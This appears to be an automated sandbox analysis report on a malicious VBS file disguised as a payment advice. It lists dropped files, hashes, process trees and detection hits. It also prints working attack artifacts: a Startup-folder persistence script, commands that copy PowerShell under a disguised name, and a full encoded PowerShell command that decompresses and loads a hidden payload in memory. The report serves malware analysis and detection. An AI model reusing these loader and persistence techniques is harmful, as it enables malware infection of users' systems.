SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_walj3rjd.kd3.psm1

Download File

Process:	C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\tmp5023.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
File Type:	Non-ISO extended-ASCII text, with no line terminators
Category:	dropped
Size (bytes):	8
Entropy (8bit):	3.0
Encrypted:	false
SSDEEP:	3:T9W:xW
MD5:	9C542BFC9ECA7151D1770F40470F6A23
SHA1:	3939D2B5CCACF88E5440F8535CA3DA7E5B41BF3D
SHA-256:	DBE9A20FF6D8F7F9244438C3D70A646DFC0C99AF2660AC466F41AD4831B09977
SHA-512:	F8C014173D2CC8BF130CE22156B38B49527C805B31E6F50532DA46B6C1D88F7C03B2C2C2B9F1843166F956FD2702F8FD450D3F782A6CCAF8FFC62ADC0698BCEF
Malicious:	false
Preview:	..X.0.&A

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Value.vbs

Download File

Process:	C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.788630984468025
Encrypted:	false
SSDEEP:	3:FER/n0eFHHoUkh4EaKC5oeBn:FER/lFHI9aZ5oc
MD5:	E9B68A5726E92BE48D631EE17E9F9DBD
SHA1:	81BC6E9DA8A21F186476F4D576979FA05765B071
SHA-256:	DF221365B2724DD9A4D1944A7EF9A7F35C2E91229FFA08142A7116134DA8B6BA
SHA-512:	944243386BE3C324924213BFB743FE455B06DAFA5E4CA162FFFC029BA974EF9673F9BA2FADC9BBB0B26B307560B0130FA22197BEE0517B60BE529DFBA8DC3F8E
Malicious:	true
Preview:	CreateObject("WScript.Shell").Run """C:\Users\user\AppData\Roaming\Value.vbs"""

C:\Users\user\AppData\Roaming\Value.vbs

Download File

Process:	C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	2368371
Entropy (8bit):	6.306281044120408
Encrypted:	false
SSDEEP:	24576:dGPQzVpL6fvkC6MugzlGbhhkg6XCoCK86uTK6ClN3Br6kXIEHIQCobtMvQ8rAOSP:dGcJXxTqb38jR/4RzGfFVvC
MD5:	9D7AA394CB39AF2A434EB3036A35BB47
SHA1:	BFCB9A3F1DCBCFCE2F66F4C5C0E8DBADA27DBD9F
SHA-256:	490022706B76B904DFE979627F775CC2BE0CD6A10AE623989CF2118026A21BEA
SHA-512:	3B2DA959A16B915D52CEADB8336FC5478E7D579A38CF59FE34F15744A0017EA9907BF5B62B4670EA123B223A0AF7F3E96AB03D132055A1AFD8E6983A4F856033
Malicious:	true
Preview:	REM WPhNq1GczSVCeXAFOwFcJdqe+aPzbcbeT21vYUE0DtjD1e1mJiz5ATuRzc+1GJEuJrqJ5hVEfOsxb1vkLGzjDWqYQmUT9f+upfhnYqD2KTbbQTqGqyjCf1gCNbfQFNTPrb9lHNUrGzG72kEd3BpLOkUlCeoyXWJB1cMMEL9I3pAjmLXgkQxgryYJytDmpaI+t/pxqgvpnE9cI0YSHgpxc/yx+UNlaqk4xFnEKZKRWy8gzlnF1zOEOftlhG3GTpAcl1fTNaxe2UxROOayJXO9ysgW8lCwrJzJLMBIAOU8cnXIp5E7vSaDwfQMc55M0hSIp7mkr1tAa+u7CgjsFtlmFMVw6X3hgQ2ikjFcozj9fVmrwFgsl8IaiDumgLMdl6oapV7Z2+mWpiasAhwq48eyvY2uQFaBOn0CVmBBOwFZhfuGQf7ZJKFwFRoxgJWm76Rz9MIlbldUmWvh1oSJVGokUnwhpKLJ2JnrPio8T7nnXGa7zUc/MxajMqeS+E0c5sCvDS4YhEsBqhsoOi8sF0qx+nodzYcj5B5lfXH7NuBLzldqjUGLztcbuSMrFvnndxpd4f3T/xk5iygPswfZBnM63WvXwooIJSujAhNj984kfgZXnVXieM8+MAEZexvPQbOv8TmOD7SPVbvSMPwF1ZNa6jQBgmgeV2SbmZKJ76kP08FgswaVlm5RyEiaEEfTOVptvpHmzr9KkZnU83YiBWYRwlw7pCGNxFTGsLoghEcdx2A3HDAYKAUBFiJtwaL3LsLiiE3ql5Q54Po8IB0FKg1RtysW6+k2+JlXOY7/HwOyzoH4Pvv6MjDL/jw13Afn/OsUHAp34UPYq5Czk14FOcD2ilKcDOwSVoT7Su2tABuRcDyi6wP5Ou09H5JrR57RxsR7P1K1S+//AsWFe5ZWKqt0ISMhYk68/U9lXu1Zpg/mKYQoMcHJ3CRMouk+c79X5/Xm9yV7r2N2v0EDUOwCpVu1n1IRLvjqqkT+1b9k

C:\Users\user\AppData\Roaming\Value.vbs.exe

Download File

Process:	C:\Windows\System32\cmd.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	433152
Entropy (8bit):	5.502549953174867
Encrypted:	false
SSDEEP:	6144:MF45pGVc4sqEoWwO9sV1yZywi/PzNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:95pGVcwW2KXzJ4pdd3klnnWosPhnzq
MD5:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
SHA1:	F5EE89BB1E4A0B1C3C7F1E8D05D0677F2B2B5919
SHA-256:	73A3C4AEF5DE385875339FC2EB7E58A9E8A47B6161BDC6436BF78A763537BE70
SHA-512:	6E43DCA1B92FAACE0C910CBF9308CF082A38DD39DA32375FAD72D6517DEA93E944B5E5464CF3C69A61EABF47B2A3E5AA014D6F24EFA1A379D4C81C32FA39DDBC
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: FileCopy.vbs, Detection: malicious, Browse Filename: Pyyidau.vbs, Detection: malicious, Browse Filename: Pyyidau.vbs, Detection: malicious, Browse Filename: GRAINS.vbs, Detection: malicious, Browse Filename: PRODUCT-PICTURE.bat, Detection: malicious, Browse Filename: Fattura-24SC-99245969925904728562.vbs, Detection: malicious, Browse Filename: ilZhNx3JAc.bat, Detection: malicious, Browse Filename: 87M9Y3P4Z7.bat, Detection: malicious, Browse Filename: ip4.cmd, Detection: malicious, Browse Filename: , Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......".z.fg..fg..fg..x5..dg..o...lg..r...eg..r...}g..fg...g..r...cg..r...og..r...ng..r..gg..r...gg..Richfg..........................PE..L...s/.0..........................................@......................................@...... ...........................".......0...}......................\|....I..T............................................ ...............................text...\........................... ..`.data...8...........................@....idata....... ......................@..@.rsrc....}...0...~..................@..@.reloc..\|...........................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Value.vbs:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe

Download File

Process:	C:\Windows\System32\cmd.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	433152
Entropy (8bit):	5.502549953174867
Encrypted:	false
SSDEEP:	6144:MF45pGVc4sqEoWwO9sV1yZywi/PzNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:95pGVcwW2KXzJ4pdd3klnnWosPhnzq
MD5:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
SHA1:	F5EE89BB1E4A0B1C3C7F1E8D05D0677F2B2B5919
SHA-256:	73A3C4AEF5DE385875339FC2EB7E58A9E8A47B6161BDC6436BF78A763537BE70
SHA-512:	6E43DCA1B92FAACE0C910CBF9308CF082A38DD39DA32375FAD72D6517DEA93E944B5E5464CF3C69A61EABF47B2A3E5AA014D6F24EFA1A379D4C81C32FA39DDBC
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......".z.fg..fg..fg..x5..dg..o...lg..r...eg..r...}g..fg...g..r...cg..r...og..r...ng..r..gg..r...gg..Richfg..........................PE..L...s/.0..........................................@......................................@...... ...........................".......0...}......................\|....I..T............................................ ...............................text...\........................... ..`.data...8...........................@....idata....... ......................@..@.rsrc....}...0...~..................@..@.reloc..\|...........................@..B........................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	ASCII text, with very long lines (65536), with no line terminators
Entropy (8bit):	6.306281044120408
TrID:
File name:	PaymentAdvice-1629043.vbs
File size:	2'368'371 bytes
MD5:	9d7aa394cb39af2a434eb3036a35bb47
SHA1:	bfcb9a3f1dcbcfce2f66f4c5c0e8dbada27dbd9f
SHA256:	490022706b76b904dfe979627f775cc2be0cd6a10ae623989cf2118026a21bea
SHA512:	3b2da959a16b915d52ceadb8336fc5478e7d579a38cf59fe34f15744a0017ea9907bf5b62b4670ea123b223a0af7f3e96ab03d132055a1afd8e6983a4f856033
SSDEEP:	24576:dGPQzVpL6fvkC6MugzlGbhhkg6XCoCK86uTK6ClN3Br6kXIEHIQCobtMvQ8rAOSP:dGcJXxTqb38jR/4RzGfFVvC
TLSH:	E1B501A12E34DD88778878397EBC3510D3E0DEBB6C77D6501297EB5E1B2A9811B20B71
File Content Preview:	REM WPhNq1GczSVCeXAFOwFcJdqe+aPzbcbeT21vYUE0DtjD1e1mJiz5ATuRzc+1GJEuJrqJ5hVEfOsxb1vkLGzjDWqYQmUT9f+upfhnYqD2KTbbQTqGqyjCf1gCNbfQFNTPrb9lHNUrGzG72kEd3BpLOkUlCeoyXWJB1cMMEL9I3pAjmLXgkQxgryYJytDmpaI+t/pxqgvpnE9cI0YSHgpxc/yx+UNlaqk4xFnEKZKRWy8gzlnF1zOEOftlhG3

File Icon


Icon Hash:	68d69b8f86ab9a86

Target ID:	0
Start time:	07:39:01
Start date:	04/12/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\PaymentAdvice-1629043.vbs"
Imagebase:	0x7ff64b1d0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	07:39:01
Start date:	04/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c copy "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe" /Y
Imagebase:	0x7ff6f1500000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	07:39:01
Start date:	04/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	07:39:03
Start date:	04/12/2024
Path:	C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe" -enc JABKAG0AcgBwAHAAYwB1AGIAcgBtAG0AIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoARwBlAHQAQwB1AHIAcgBlAG4AdABQAHIAbwBjAGUAcwBzACgAKQAuAE0AYQBpAG4ATQBvAGQAdQBsAGUALgBGAGkAbABlAE4AYQBtAGUALgBSAGUAcABsAGEAYwBlACgAJwAuAGUAeABlACcALAAnACcAKQA7ACQASABvAHMAZABjAHQAaABsAHYAdABvACAAPQAgAGcAZQB0AC0AYwBvAG4AdABlAG4AdAAgACQASgBtAHIAcABwAGMAdQBiAHIAbQBtACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEwAYQBzAHQAIAAxADsAIAAkAFcAawBmAGMAbABsAGgAagB4ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAEgAbwBzAGQAYwB0AGgAbAB2AHQAbwAuAFIAZQBwAGwAYQBjAGUAKAAnAFIARQBNACAAJwAsACAAJwAnACkALgBSAGUAcABsAGEAYwBlACgAJwBAACcALAAgACcAQQAnACkAKQA7ACQAQwBnAGwAYQBrAGgAegByACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgAIAAsACAAJABXAGsAZgBjAGwAbABoAGoAeAAgACkAOwAkAEMAbQBqAHAAegB5AHYAcABjAHMAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AOwAkAFUAbgB0AGkAcABmACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AIAAkAEMAZwBsAGEAawBoAHoAcgAsACAAKABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQA7ACQAVQBuAHQAaQBwAGYALgBDAG8AcAB5AFQAbwAoACAAJABDAG0AagBwAHoAeQB2AHAAYwBzACAAKQA7ACQAVQBuAHQAaQBwAGYALgBDAGwAbwBzAGUAKAApADsAJABDAGcAbABhAGsAaAB6AHIALgBDAGwAbwBzAGUAKAApADsAWwBiAHkAdABlAFsAXQBdACAAJABXAGsAZgBjAGwAbABoAGoAeAAgAD0AIAAkAEMAbQBqAHAAegB5AHYAcABjAHMALgBUAG8AQQByAHIAYQB5ACgAKQA7AFsAQQByAHIAYQB5AF0AOgA6AFIAZQB2AGUAcgBzAGUAKAAkAFcAawBmAGMAbABsAGgAagB4ACkAOwAgACQATwByAHkAbABnACAAPQAgAFsAUwB5AHMAdABlAG0ALgBBAHAAcABEAG8AbQBhAGkAbgBdADoAOgBDAHUAcgByAGUAbgB0AEQAbwBtAGEAaQBuAC4ATABvAGEAZAAoACQAVwBrAGYAYwBsAGwAaABqAHgAKQA7ACAAJABHAGIAZwBrAGYAdABxAHAAIAA9ACAAJABPAHIAeQBsAGcALgBFAG4AdAByAHkAUABvAGkAbgB0ADsAIABbAFMAeQBzAHQAZQBtAC4ARABlAGwAZQBnAGEAdABlAF0AOgA6AEMAcgBlAGEAdABlAEQAZQBsAGUAZwBhAHQAZQAoAFsAQQBjAHQAaQBvAG4AXQAsACAAJABHAGIAZwBrAGYAdABxAHAALgBEAGUAYwBsAGEAcgBpAG4AZwBUAHkAcABlACwAIAAkAEcAYgBnAGsAZgB0AHEAcAAuAE4AYQBtAGUAKQAuAEQAeQBuAGEAbQBpAGMASQBuAHYAbwBrAGUAKAApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA=
Imagebase:	0x950000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000004.00000002.2098406061.0000000004DCA000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000004.00000002.2158943338.000000000A090000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: 00000004.00000002.2121979696.0000000005C4F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000004.00000002.2121979696.0000000005C4F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	07:39:03
Start date:	04/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	07:39:06
Start date:	04/12/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Imagebase:	0x9a0000
File size:	42'064 bytes
MD5 hash:	5D4073B2EB6D217C19F2B22F21BF8D57
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	07:39:14
Start date:	04/12/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Value.vbs"
Imagebase:	0x7ff64b1d0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	07:39:15
Start date:	04/12/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Value.vbs"
Imagebase:	0x7ff64b1d0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	07:39:16
Start date:	04/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c copy "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "C:\Users\user\AppData\Roaming\Value.vbs.exe" /Y
Imagebase:	0x7ff6f1500000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	07:39:16
Start date:	04/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	07:39:18
Start date:	04/12/2024
Path:	C:\Users\user\AppData\Roaming\Value.vbs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\Value.vbs.exe" -enc JABKAG0AcgBwAHAAYwB1AGIAcgBtAG0AIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoARwBlAHQAQwB1AHIAcgBlAG4AdABQAHIAbwBjAGUAcwBzACgAKQAuAE0AYQBpAG4ATQBvAGQAdQBsAGUALgBGAGkAbABlAE4AYQBtAGUALgBSAGUAcABsAGEAYwBlACgAJwAuAGUAeABlACcALAAnACcAKQA7ACQASABvAHMAZABjAHQAaABsAHYAdABvACAAPQAgAGcAZQB0AC0AYwBvAG4AdABlAG4AdAAgACQASgBtAHIAcABwAGMAdQBiAHIAbQBtACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEwAYQBzAHQAIAAxADsAIAAkAFcAawBmAGMAbABsAGgAagB4ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAEgAbwBzAGQAYwB0AGgAbAB2AHQAbwAuAFIAZQBwAGwAYQBjAGUAKAAnAFIARQBNACAAJwAsACAAJwAnACkALgBSAGUAcABsAGEAYwBlACgAJwBAACcALAAgACcAQQAnACkAKQA7ACQAQwBnAGwAYQBrAGgAegByACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgAIAAsACAAJABXAGsAZgBjAGwAbABoAGoAeAAgACkAOwAkAEMAbQBqAHAAegB5AHYAcABjAHMAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AOwAkAFUAbgB0AGkAcABmACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AIAAkAEMAZwBsAGEAawBoAHoAcgAsACAAKABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQA7ACQAVQBuAHQAaQBwAGYALgBDAG8AcAB5AFQAbwAoACAAJABDAG0AagBwAHoAeQB2AHAAYwBzACAAKQA7ACQAVQBuAHQAaQBwAGYALgBDAGwAbwBzAGUAKAApADsAJABDAGcAbABhAGsAaAB6AHIALgBDAGwAbwBzAGUAKAApADsAWwBiAHkAdABlAFsAXQBdACAAJABXAGsAZgBjAGwAbABoAGoAeAAgAD0AIAAkAEMAbQBqAHAAegB5AHYAcABjAHMALgBUAG8AQQByAHIAYQB5ACgAKQA7AFsAQQByAHIAYQB5AF0AOgA6AFIAZQB2AGUAcgBzAGUAKAAkAFcAawBmAGMAbABsAGgAagB4ACkAOwAgACQATwByAHkAbABnACAAPQAgAFsAUwB5AHMAdABlAG0ALgBBAHAAcABEAG8AbQBhAGkAbgBdADoAOgBDAHUAcgByAGUAbgB0AEQAbwBtAGEAaQBuAC4ATABvAGEAZAAoACQAVwBrAGYAYwBsAGwAaABqAHgAKQA7ACAAJABHAGIAZwBrAGYAdABxAHAAIAA9ACAAJABPAHIAeQBsAGcALgBFAG4AdAByAHkAUABvAGkAbgB0ADsAIABbAFMAeQBzAHQAZQBtAC4ARABlAGwAZQBnAGEAdABlAF0AOgA6AEMAcgBlAGEAdABlAEQAZQBsAGUAZwBhAHQAZQAoAFsAQQBjAHQAaQBvAG4AXQAsACAAJABHAGIAZwBrAGYAdABxAHAALgBEAGUAYwBsAGEAcgBpAG4AZwBUAHkAcABlACwAIAAkAEcAYgBnAGsAZgB0AHEAcAAuAE4AYQBtAGUAKQAuAEQAeQBuAGEAbQBpAGMASQBuAHYAbwBrAGUAKAApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA=
Imagebase:	0xc10000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 0000000C.00000002.2264092099.00000000052FA000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: 0000000C.00000002.2290271813.00000000069BF000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 0000000C.00000002.2290271813.000000000617F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	07:39:18
Start date:	04/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	07:39:21
Start date:	04/12/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Imagebase:	0xf10000
File size:	42'064 bytes
MD5 hash:	5D4073B2EB6D217C19F2B22F21BF8D57
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Function 074D1400 Relevance: 42.6, Strings: 32, Instructions: 2553COMMON

Download Yara Rule

Strings

$]q, xrefs: 074D271C
XX]q, xrefs: 074D198B
Te]q, xrefs: 074D1B71
Te]q, xrefs: 074D1B26
O, xrefs: 074D2E98
4']q, xrefs: 074D1B95
Te]q, xrefs: 074D1B65
p<]q, xrefs: 074D289F
p<]q, xrefs: 074D28AB
0l(r, xrefs: 074D2DA3
4']q, xrefs: 074D274A
XX]q, xrefs: 074D1997
XX]q, xrefs: 074D15C7
XX]q, xrefs: 074D1556
4']q, xrefs: 074D20EB
XX]q, xrefs: 074D17AB
4']q, xrefs: 074D24C5
4']q, xrefs: 074D1EF9
XX]q, xrefs: 074D154A
4']q, xrefs: 074D24BB
4']q, xrefs: 074D20F7
4']q, xrefs: 074D2282
4']q, xrefs: 074D273E
$]q, xrefs: 074D26C1
4']q, xrefs: 074D228E
Te]q, xrefs: 074D1508
4']q, xrefs: 074D1F05
Te]q, xrefs: 074D194B
$]q, xrefs: 074D270C
XX]q, xrefs: 074D17B7
4']q, xrefs: 074D1B89
XX]q, xrefs: 074D15D3

Memory Dump Source

Source File: 00000004.00000002.2143232343.00000000074D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_74d0000_PaymentAdvice-1629043.jbxd

Similarity

API ID:
String ID: 0l(r$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$4']q$O$Te]q$Te]q$Te]q$Te]q$Te]q$XX]q$XX]q$XX]q$XX]q$XX]q$XX]q$XX]q$XX]q$p<]q$p<]q$$]q$$]q$$]q
API String ID: 0-2941424405
Opcode ID: d569c63009726ff4a1302875c177a72e7b4765788e012e64ba64d1e77eb07b68
Instruction ID: 60887071af0d7da44dea0dca33ffa428829bc0ba4e38a39d4c7089936fb42d2b
Opcode Fuzzy Hash: d569c63009726ff4a1302875c177a72e7b4765788e012e64ba64d1e77eb07b68
Instruction Fuzzy Hash: 5C1327B06093499FCB168B78C864BEA7FF5BF86300F1584ABD584CB2A2D7758C45C762

